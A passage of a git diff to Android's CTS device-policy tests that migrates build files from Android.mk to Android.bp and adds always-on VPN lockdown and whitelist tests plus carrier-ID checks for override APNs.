-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsDeviceAndProfileOwnerApp23
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
-
-LOCAL_JAVA_LIBRARIES := \
-    android.test.runner.stubs \
-    android.test.base.stubs \
-
-LOCAL_USE_AAPT2 := true
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util-axt \
-    ctstestrunner-axt \
-    ub-uiautomator \
-    cts-security-test-support-library
-
-LOCAL_STATIC_ANDROID_LIBRARIES := \
-    androidx.legacy_legacy-support-v4
-
-LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../res
-
-LOCAL_ASSET_DIR := $(LOCAL_PATH)/../assets
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api25/Android.mk b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api25/Android.mk
deleted file mode 100644
index c1d6687..0000000
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api25/Android.mk
+++ /dev/null
@@ -1,50 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsDeviceAndProfileOwnerApp25
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
-
-LOCAL_JAVA_LIBRARIES := \
-    android.test.runner.stubs \
-    android.test.base.stubs \
-
-LOCAL_USE_AAPT2 := true
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util-axt \
-    ctstestrunner-axt \
-    ub-uiautomator \
-    cts-security-test-support-library
-
-LOCAL_STATIC_ANDROID_LIBRARIES := \
-    androidx.legacy_legacy-support-v4
-
-LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../res
-
-LOCAL_ASSET_DIR := $(LOCAL_PATH)/../assets
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/Android.mk b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/Android.mk
deleted file mode 100644
index 4de65ba..0000000
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/Android.mk
+++ /dev/null
@@ -1,50 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsDeviceAndProfileOwnerApp
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
-
-LOCAL_JAVA_LIBRARIES := \
-    android.test.runner.stubs \
-    android.test.base.stubs \
-
-LOCAL_USE_AAPT2 := true
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util-axt \
-    ctstestrunner-axt \
-    ub-uiautomator \
-    cts-security-test-support-library
-
-LOCAL_STATIC_ANDROID_LIBRARIES := \
-    androidx.legacy_legacy-support-v4
-
-LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../res
-
-LOCAL_ASSET_DIR := $(LOCAL_PATH)/../assets
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := arcts cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AlwaysOnVpnMultiStageTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AlwaysOnVpnMultiStageTest.java
index 25d7be7..eebe18d 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AlwaysOnVpnMultiStageTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AlwaysOnVpnMultiStageTest.java
@@ -25,6 +25,8 @@
 
 import com.android.cts.deviceandprofileowner.vpn.VpnTestHelper;
 
+import java.util.Collections;
+import java.util.Set;
 import java.util.concurrent.TimeUnit;
 
 /**
@@ -36,16 +38,33 @@
 
     public void testAlwaysOnSet() throws Exception {
         // Setup always-on vpn
-        VpnTestHelper.waitForVpn(mContext, VPN_PACKAGE, /* usable */ true);
+        VpnTestHelper.waitForVpn(mContext, VPN_PACKAGE,
+                /* usable */ true, /* lockdown */ true, /* whitelist */ false);
         assertTrue(VpnTestHelper.isNetworkVpn(mContext));
         VpnTestHelper.checkPing(TEST_ADDRESS);
     }
 
-    public void testAlwaysOnSetAfterReboot() throws Exception {
-        VpnTestHelper.waitForVpn(mContext, null, /* usable */ true);
+    public void testAlwaysOnSetWithWhitelist() throws Exception {
+        VpnTestHelper.waitForVpn(mContext, VPN_PACKAGE,
+                /* usable */ true, /* lockdown */ true, /* whitelist */ true);
+        assertTrue(VpnTestHelper.isNetworkVpn(mContext));
         VpnTestHelper.checkPing(TEST_ADDRESS);
     }
 
+    // Should be run after running testAlwaysOnSetWithWhitelist and rebooting.
+    public void testAlwaysOnSetAfterReboot() throws Exception {
+        VpnTestHelper.waitForVpn(mContext, null,
+                /* usable */ true, /* lockdown */ true, /* whitelist */ true);
+        VpnTestHelper.checkPing(TEST_ADDRESS);
+        final Set<String> whitelist =
+                mDevicePolicyManager.getAlwaysOnVpnLockdownWhitelist(ADMIN_RECEIVER_COMPONENT);
+        assertTrue("Lockdown bit lost after reboot",
+                mDevicePolicyManager.isAlwaysOnVpnLockdownEnabled(ADMIN_RECEIVER_COMPONENT));
+        assertNotNull("whitelist is lost after reboot", whitelist);
+        assertEquals("whitelist changed after reboot",
+                Collections.singleton(mContext.getPackageName()), whitelist);
+    }
+
     public void testNetworkBlocked() throws Exception {
         // After the vpn app being force-stop, expect that always-on package stays the same
         assertEquals(VPN_PACKAGE, mDevicePolicyManager.getAlwaysOnVpnPackage(
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AlwaysOnVpnTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AlwaysOnVpnTest.java
index fff701e..4b5c8de 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AlwaysOnVpnTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AlwaysOnVpnTest.java
@@ -19,11 +19,17 @@
 import static com.android.cts.deviceandprofileowner.vpn.VpnTestHelper.TEST_ADDRESS;
 import static com.android.cts.deviceandprofileowner.vpn.VpnTestHelper.VPN_PACKAGE;
 
+import android.net.VpnService;
 import android.os.Bundle;
 import android.os.UserManager;
+import android.util.Log;
 
+import com.android.compatibility.common.util.BlockingBroadcastReceiver;
 import com.android.cts.deviceandprofileowner.vpn.VpnTestHelper;
 
+import java.io.IOException;
+import java.net.Socket;
+
 /**
  * Validates that a device owner or profile owner can set an always-on VPN without user action.
  *
@@ -35,18 +41,21 @@
  * result of a misconfigured network.
  */
 public class AlwaysOnVpnTest extends BaseDeviceAdminTest {
+    private static final String TAG = "AlwaysOnVpnTest";
+
     /** @see com.android.cts.vpnfirewall.ReflectorVpnService */
-    public static final String RESTRICTION_ADDRESSES = "vpn.addresses";
-    public static final String RESTRICTION_ROUTES = "vpn.routes";
-    public static final String RESTRICTION_ALLOWED = "vpn.allowed";
-    public static final String RESTRICTION_DISALLOWED = "vpn.disallowed";
+    private static final String RESTRICTION_ALLOWED = "vpn.allowed";
+    private static final String RESTRICTION_DISALLOWED = "vpn.disallowed";
+    private static final String RESTRICTION_DONT_ESTABLISH = "vpn.dont_establish";
+    private static final String CONNECTIVITY_CHECK_HOST = "connectivitycheck.gstatic.com";
+    private static final int VPN_ON_START_TIMEOUT_MS = 5_000;
 
     private String mPackageName;
 
     @Override
     public void setUp() throws Exception {
         super.setUp();
-        // always-on is null by default
+        // Always-on is null by default.
         assertNull(mDevicePolicyManager.getAlwaysOnVpnPackage(ADMIN_RECEIVER_COMPONENT));
         mPackageName = mContext.getPackageName();
     }
@@ -58,11 +67,14 @@
                 /* restrictions */ null);
         super.tearDown();
     }
+
     public void testAlwaysOnVpn() throws Exception {
         // test always-on is null by default
         assertNull(mDevicePolicyManager.getAlwaysOnVpnPackage(ADMIN_RECEIVER_COMPONENT));
 
-        VpnTestHelper.waitForVpn(mContext, VPN_PACKAGE, /* usable */ true);
+        VpnTestHelper.waitForVpn(mContext, VPN_PACKAGE,
+                /* usable */ true, /* lockdown */ true, /* whitelist */ false);
+
         VpnTestHelper.checkPing(TEST_ADDRESS);
     }
 
@@ -83,7 +95,8 @@
         restrictions.putStringArray(RESTRICTION_ALLOWED, new String[] {mPackageName});
         mDevicePolicyManager.setApplicationRestrictions(ADMIN_RECEIVER_COMPONENT, VPN_PACKAGE,
                 restrictions);
-        VpnTestHelper.waitForVpn(mContext, VPN_PACKAGE, /* usable */ true);
+        VpnTestHelper.waitForVpn(mContext, VPN_PACKAGE,
+                /* usable */ true,  /* lockdown */ true, /* whitelist */ false);
         assertTrue(VpnTestHelper.isNetworkVpn(mContext));
     }
 
@@ -92,20 +105,103 @@
         restrictions.putStringArray(RESTRICTION_DISALLOWED, new String[] {mPackageName});
         mDevicePolicyManager.setApplicationRestrictions(ADMIN_RECEIVER_COMPONENT, VPN_PACKAGE,
                 restrictions);
-        VpnTestHelper.waitForVpn(mContext, VPN_PACKAGE, /* usable */ false);
+        VpnTestHelper.waitForVpn(mContext, VPN_PACKAGE,
+                /* usable */ false,  /* lockdown */ true, /* whitelist */ false);
         assertFalse(VpnTestHelper.isNetworkVpn(mContext));
     }
 
+    // Tests that changes to lockdown whitelist are applied correctly.
+    public void testVpnLockdownUpdateWhitelist() throws Exception {
+        assertConnectivity(true, "VPN is off");
+
+        // VPN won't start.
+        final Bundle restrictions = new Bundle();
+        restrictions.putBoolean(RESTRICTION_DONT_ESTABLISH, true);
+        mDevicePolicyManager.setApplicationRestrictions(
+                ADMIN_RECEIVER_COMPONENT, VPN_PACKAGE, restrictions);
+
+        // VPN service is started asynchronously, we need to wait for it to avoid stale service
+        // instance interfering with the next test.
+        final BlockingBroadcastReceiver receiver = VpnTestHelper.registerOnStartReceiver(mContext);
+
+        VpnTestHelper.setAlwaysOnVpn(
+                mContext, VPN_PACKAGE, /* lockdown */ false, /* whitelist */ false);
+        assertConnectivity(true, "VPN service not started, no lockdown");
+        assertNotNull(receiver.awaitForBroadcast(VPN_ON_START_TIMEOUT_MS));
+
+        VpnTestHelper.setAlwaysOnVpn(
+                mContext, VPN_PACKAGE, /* lockdown */ true, /* whitelist */ false);
+        assertConnectivity(false, "VPN in lockdown, service not started");
+        assertNotNull(receiver.awaitForBroadcast(VPN_ON_START_TIMEOUT_MS));
+
+        VpnTestHelper.setAlwaysOnVpn(
+                mContext, VPN_PACKAGE, /* lockdown */ true, /* whitelist */ true);
+        assertConnectivity(true, "VPN in lockdown, service not started, app whitelisted");
+        assertNotNull(receiver.awaitForBroadcast(VPN_ON_START_TIMEOUT_MS));
+
+        VpnTestHelper.setAlwaysOnVpn(
+                mContext, VPN_PACKAGE, /* lockdown */ true, /* whitelist */ false);
+        assertConnectivity(false, "VPN in lockdown, service not started");
+        assertNotNull(receiver.awaitForBroadcast(VPN_ON_START_TIMEOUT_MS));
+
+        receiver.unregisterQuietly();
+    }
+
+    // Tests that when VPN comes up, whitelisted app switches over to it.
+    public void testVpnLockdownWhitelistVpnComesUp() throws Exception {
+        assertConnectivity(true, "VPN is off");
+
+        // VPN won't start initially.
+        final Bundle restrictions = new Bundle();
+        restrictions.putBoolean(RESTRICTION_DONT_ESTABLISH, true);
+        mDevicePolicyManager.setApplicationRestrictions(
+                ADMIN_RECEIVER_COMPONENT, VPN_PACKAGE, restrictions);
+
+        // VPN service is started asynchronously, we need to wait for it to avoid stale service
+        // instance interfering with the next test.
+        final BlockingBroadcastReceiver receiver = VpnTestHelper.registerOnStartReceiver(mContext);
+
+        VpnTestHelper.setAlwaysOnVpn(
+                mContext, VPN_PACKAGE,  /* lockdown */ true, /* whitelist */ true);
+        assertConnectivity(true, "VPN in lockdown, service not started, app whitelisted");
+        assertNotNull(receiver.awaitForBroadcast(VPN_ON_START_TIMEOUT_MS));
+
+        // Make VPN workable again and restart.
+        mDevicePolicyManager.setApplicationRestrictions(
+                ADMIN_RECEIVER_COMPONENT, VPN_PACKAGE, null);
+        VpnTestHelper.waitForVpn(mContext, VPN_PACKAGE,
+                /* usable */ true,  /* lockdown */ true, /* whitelist */ true);
+
+        // Now we should be on VPN.
+        VpnTestHelper.checkPing(TEST_ADDRESS);
+
+        receiver.unregisterQuietly();
+    }
+
     public void testSetNonVpnAlwaysOn() throws Exception {
         // Treat this CTS DPC as an non-vpn app, since it doesn't register
         // android.net.VpnService intent filter in AndroidManifest.xml.
         try {
-            mDevicePolicyManager.setAlwaysOnVpnPackage(ADMIN_RECEIVER_COMPONENT, mPackageName,
-                    true);
+            mDevicePolicyManager.setAlwaysOnVpnPackage(
+                    ADMIN_RECEIVER_COMPONENT, mPackageName, true);
             fail("setAlwaysOnVpnPackage should not accept non-vpn package");
         } catch (UnsupportedOperationException e) {
             // success
         }
         assertNull(mDevicePolicyManager.getAlwaysOnVpnPackage(ADMIN_RECEIVER_COMPONENT));
     }
+
+    private void assertConnectivity(boolean shouldHaveConnectivity, String message) {
+        try {
+            new Socket(CONNECTIVITY_CHECK_HOST, 80);
+            if (!shouldHaveConnectivity) {
+                fail("Connectivity available while not expected: " + message);
+            }
+        } catch (IOException e) {
+            if (shouldHaveConnectivity) {
+                Log.e(TAG, "Connectivity check failed", e);
+                fail("Connectivity isn't available while expected: " + message);
+            }
+        }
+    }
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/vpn/VpnTestHelper.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/vpn/VpnTestHelper.java
index 8c01884..bed0943 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/vpn/VpnTestHelper.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/vpn/VpnTestHelper.java
@@ -38,12 +38,12 @@
 import android.net.Network;
 import android.net.NetworkCapabilities;
 import android.net.NetworkInfo;
-import android.net.NetworkRequest;
 import android.os.Build.VERSION_CODES;
 import android.system.ErrnoException;
 import android.system.Os;
 import android.system.StructPollfd;
 
+import com.android.compatibility.common.util.BlockingBroadcastReceiver;
 import com.android.cts.deviceandprofileowner.BaseDeviceAdminTest;
 
 import java.io.ByteArrayOutputStream;
@@ -53,8 +53,11 @@
 import java.net.InetAddress;
 import java.net.InetSocketAddress;
 import java.util.Arrays;
+import java.util.Collections;
+import java.util.Set;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicBoolean;
 
 /**
  * Helper class to test vpn status
@@ -63,11 +66,17 @@
 public class VpnTestHelper {
     public static final String VPN_PACKAGE = "com.android.cts.vpnfirewall";
     private static final String MY_PACKAGE = "com.android.cts.deviceandprofileowner";
+    // Broadcast by ReflectorVpnService when the interface is up.
     private static final String ACTION_VPN_IS_UP = VPN_PACKAGE + ".VPN_IS_UP";
+    // Broadcast by ReflectorVpnService receives onStartCommand and queried app restrictions.
+    private static final String ACTION_VPN_ON_START = VPN_PACKAGE + ".VPN_ON_START";
 
     // IP address reserved for documentation by rfc5737
     public static final String TEST_ADDRESS = "192.0.2.4";
 
+    private static final String EXTRA_ALWAYS_ON = "always-on";
+    private static final String EXTRA_LOCKDOWN = "lockdown";
+
     // HACK (TODO issue 31585407) to wait for the network to actually be usable
     private static final int NETWORK_SETTLE_GRACE_MS = 200;
 
@@ -77,11 +86,13 @@
     private static final int NETWORK_TIMEOUT_MS = 5000;
     private static final ComponentName ADMIN_RECEIVER_COMPONENT =
             BaseDeviceAdminTest.ADMIN_RECEIVER_COMPONENT;
-    private static final NetworkRequest VPN_NETWORK_REQUEST = new NetworkRequest.Builder()
-            .addTransportType(NetworkCapabilities.TRANSPORT_VPN)
-            .removeCapability(NetworkCapabilities.NET_CAPABILITY_NOT_VPN)
-            .removeCapability(NetworkCapabilities.NET_CAPABILITY_INTERNET)
-            .build();
+
+    public static BlockingBroadcastReceiver registerOnStartReceiver(Context context) {
+        final BlockingBroadcastReceiver receiver =
+                new BlockingBroadcastReceiver(context, ACTION_VPN_ON_START);
+        receiver.register();
+        return receiver;
+    }
 
     /**
      * Wait for a VPN app to establish VPN.
@@ -89,10 +100,13 @@
      * @param context Caller's context.
      * @param packageName {@code null} if waiting for the existing VPN to connect. Otherwise we set
      *         this package as the new always-on VPN app and wait for it to connect.
+     * @param lockdown Disallow connectivity while VPN is down.
      * @param usable Whether the resulting VPN tunnel is expected to be usable.
+     * @param whitelist whether to whitelist current package from lockdown.
      */
-    public static void waitForVpn(Context context, String packageName, boolean usable) {
-        DevicePolicyManager dpm = context.getSystemService(DevicePolicyManager.class);
+    public static void waitForVpn(Context context, String packageName, boolean usable,
+            boolean lockdown, boolean whitelist) {
+        final DevicePolicyManager dpm = context.getSystemService(DevicePolicyManager.class);
         if (packageName == null) {
             assertNotNull(dpm.getAlwaysOnVpnPackage(ADMIN_RECEIVER_COMPONENT));
         }
@@ -100,10 +114,14 @@
         ConnectivityManager cm = context.getSystemService(ConnectivityManager.class);
         final CountDownLatch vpnLatch = new CountDownLatch(1);
         final IntentFilter intentFilter = new IntentFilter(ACTION_VPN_IS_UP);
+        final AtomicBoolean isAlwaysOn = new AtomicBoolean();
+        final AtomicBoolean isLockdown = new AtomicBoolean();
         final BroadcastReceiver receiver = new BroadcastReceiver() {
                 @Override
                 public void onReceive(final Context context, final Intent intent) {
                     if (!intent.getPackage().equals(MY_PACKAGE)) return;
+                    isAlwaysOn.set(intent.getBooleanExtra(EXTRA_ALWAYS_ON, false));
+                    isLockdown.set(intent.getBooleanExtra(EXTRA_LOCKDOWN, !lockdown));
                     vpnLatch.countDown();
                     context.unregisterReceiver(this);
                 }
@@ -112,13 +130,15 @@
 
         try {
             if (packageName != null) {
-                dpm.setAlwaysOnVpnPackage(ADMIN_RECEIVER_COMPONENT, packageName, true);
-                assertEquals(packageName, dpm.getAlwaysOnVpnPackage(ADMIN_RECEIVER_COMPONENT));
+                setAlwaysOnVpn(context, packageName, lockdown, whitelist);
             }
             if (!vpnLatch.await(NETWORK_TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
                 if (!isNetworkVpn(context)) {
                     fail("Took too long waiting to establish a VPN-backed connection");
                 }
+            } else {
+                assertTrue("Wrong VpnService#isAlwaysOn()", isAlwaysOn.get());
+                assertEquals("Wrong VpnService#isLockdownEnabled()", lockdown, isLockdown.get());
             }
             Thread.sleep(NETWORK_SETTLE_GRACE_MS);
         } catch (InterruptedException | PackageManager.NameNotFoundException e) {
@@ -133,6 +153,25 @@
         assertEquals(usable, vpnInfo.isConnected());
     }
 
+    public static void setAlwaysOnVpn(
+            Context context, String packageName, boolean lockdown, boolean whitelist)
+            throws PackageManager.NameNotFoundException {
+        final DevicePolicyManager dpm = context.getSystemService(DevicePolicyManager.class);
+        final Set<String> lockdownWhitelist;
+        if (lockdown) {
+            lockdownWhitelist = whitelist ?
+                    Collections.singleton(context.getPackageName()) : Collections.emptySet();
+        } else {
+            lockdownWhitelist = null;
+        }
+        dpm.setAlwaysOnVpnPackage(
+                ADMIN_RECEIVER_COMPONENT, packageName, lockdown, lockdownWhitelist);
+        assertEquals(packageName, dpm.getAlwaysOnVpnPackage(ADMIN_RECEIVER_COMPONENT));
+        assertEquals(lockdown, dpm.isAlwaysOnVpnLockdownEnabled(ADMIN_RECEIVER_COMPONENT));
+        assertEquals(lockdownWhitelist,
+                dpm.getAlwaysOnVpnLockdownWhitelist(ADMIN_RECEIVER_COMPONENT));
+    }
+
     public static boolean isNetworkVpn(Context context) {
         ConnectivityManager connectivityManager =
                 (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE);
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/Android.bp b/hostsidetests/devicepolicy/app/DeviceOwner/Android.bp
new file mode 100644
index 0000000..fa8fbf5
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/Android.bp
@@ -0,0 +1,49 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsDeviceOwnerApp",
+    defaults: ["cts_defaults"],
+    platform_apis: true,
+    srcs: [
+        "src/**/*.java",
+        "src/**/I*.aidl",
+    ],
+    aidl: {
+        local_include_dirs: ["src"],
+    },
+    libs: [
+        "android.test.runner.stubs",
+        "junit",
+        "android.test.base.stubs",
+        "bouncycastle-unbundled",
+    ],
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+        "androidx.test.rules",
+        "cts-security-test-support-library",
+        "testng",
+        "truth-prebuilt",
+        "androidx.legacy_legacy-support-v4",
+    ],
+    min_sdk_version: "20",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "arcts",
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/Android.mk b/hostsidetests/devicepolicy/app/DeviceOwner/Android.mk
deleted file mode 100644
index 9607557..0000000
--- a/hostsidetests/devicepolicy/app/DeviceOwner/Android.mk
+++ /dev/null
@@ -1,52 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsDeviceOwnerApp
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src) \
-                   $(call all-Iaidl-files-under, src)
-
-LOCAL_AIDL_INCLUDES := $(LOCAL_PATH)/src
-
-LOCAL_JAVA_LIBRARIES := \
-    android.test.runner.stubs \
-    cts-junit \
-    android.test.base.stubs \
-    bouncycastle
-
-LOCAL_USE_AAPT2 := true
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner-axt \
-    compatibility-device-util-axt \
-    androidx.test.rules \
-    cts-security-test-support-library \
-    testng
-
-LOCAL_STATIC_ANDROID_LIBRARIES := \
-    androidx.legacy_legacy-support-v4
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := arcts cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
old mode 100755
new mode 100644
index 0280bdf..bbe6855
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
@@ -379,8 +379,6 @@
         localBroadcastManager.registerReceiver(broadcastReceiver,
                 new IntentFilter(BasicAdminReceiver.ACTION_USER_STOPPED));
 
-        Thread.sleep(USER_SWITCH_DELAY);
-
         try {
             assertEquals(UserManager.USER_OPERATION_SUCCESS,
                     mDevicePolicyManager.stopUser(getWho(), userHandle));
@@ -411,13 +409,8 @@
 
         LocalBroadcastReceiver broadcastReceiver = new LocalBroadcastReceiver();
         localBroadcastManager.registerReceiver(broadcastReceiver,
-                new IntentFilter(BasicAdminReceiver.ACTION_USER_STARTED));
-        broadcastReceiver.waitForBroadcastReceived();
-        localBroadcastManager.unregisterReceiver(broadcastReceiver);
-
-        // Register broadcast receiver for the remove action.
-        localBroadcastManager.registerReceiver(broadcastReceiver,
                 new IntentFilter(BasicAdminReceiver.ACTION_USER_REMOVED));
+
         try {
             assertEquals(UserManager.USER_OPERATION_SUCCESS,
                     mDevicePolicyManager.stopUser(getWho(), userHandle));
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/OverrideApnTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/OverrideApnTest.java
index f95d835..f548c4d 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/OverrideApnTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/OverrideApnTest.java
@@ -44,6 +44,8 @@
     private static final int TEST_NETWORK_TYPE_BITMASK = TelephonyManager.NETWORK_TYPE_CDMA;
     private static final int TEST_MVNO_TYPE = ApnSetting.MVNO_TYPE_GID;
     private static final boolean TEST_ENABLED = true;
+    private static final int TEST_CARRIER_ID = 100;
+    private static final int UPDATE_CARRIER_ID = 101;
 
     private static final ApnSetting testApnFull;
     static {
@@ -65,6 +67,7 @@
             .setNetworkTypeBitmask(TEST_NETWORK_TYPE_BITMASK)
             .setMvnoType(TEST_MVNO_TYPE)
             .setCarrierEnabled(TEST_ENABLED)
+            .setCarrierId(TEST_CARRIER_ID)
             .build();
     }
 
@@ -110,6 +113,7 @@
         assertEquals(TEST_ENABLED, apnList.get(0).isEnabled());
         assertEquals(TEST_MVNO_TYPE, apnList.get(0).getMvnoType());
         assertEquals(TEST_NETWORK_TYPE_BITMASK, apnList.get(0).getNetworkTypeBitmask());
+        assertEquals(TEST_CARRIER_ID, apnList.get(0).getCarrierId());
 
         assertTrue(mDevicePolicyManager.removeOverrideApn(getWho(), insertedId));
         apnList = mDevicePolicyManager.getOverrideApns(getWho());
@@ -162,6 +166,7 @@
             .setNetworkTypeBitmask(TEST_NETWORK_TYPE_BITMASK)
             .setMvnoType(TEST_MVNO_TYPE)
             .setCarrierEnabled(TEST_ENABLED)
+            .setCarrierId(UPDATE_CARRIER_ID)
             .build();
         assertTrue(mDevicePolicyManager.updateOverrideApn(getWho(), insertedId, updateApn));
 
@@ -184,6 +189,7 @@
         assertEquals(TEST_PROTOCOL, apnList.get(0).getRoamingProtocol());
         assertEquals(TEST_ENABLED, apnList.get(0).isEnabled());
         assertEquals(TEST_MVNO_TYPE, apnList.get(0).getMvnoType());
+        assertEquals(UPDATE_CARRIER_ID, apnList.get(0).getCarrierId());
 
         assertTrue(mDevicePolicyManager.removeOverrideApn(getWho(), insertedId));
     }
@@ -216,6 +222,7 @@
         assertEquals(-1, apnList.get(0).getRoamingProtocol());
         assertEquals(false, apnList.get(0).isEnabled());
         assertEquals(-1, apnList.get(0).getMvnoType());
+        assertEquals(-1, apnList.get(0).getCarrierId());
 
         assertTrue(mDevicePolicyManager.removeOverrideApn(getWho(), insertedId));
     }
diff --git a/hostsidetests/devicepolicy/app/IntentReceiver/Android.bp b/hostsidetests/devicepolicy/app/IntentReceiver/Android.bp
new file mode 100644
index 0000000..8503e83
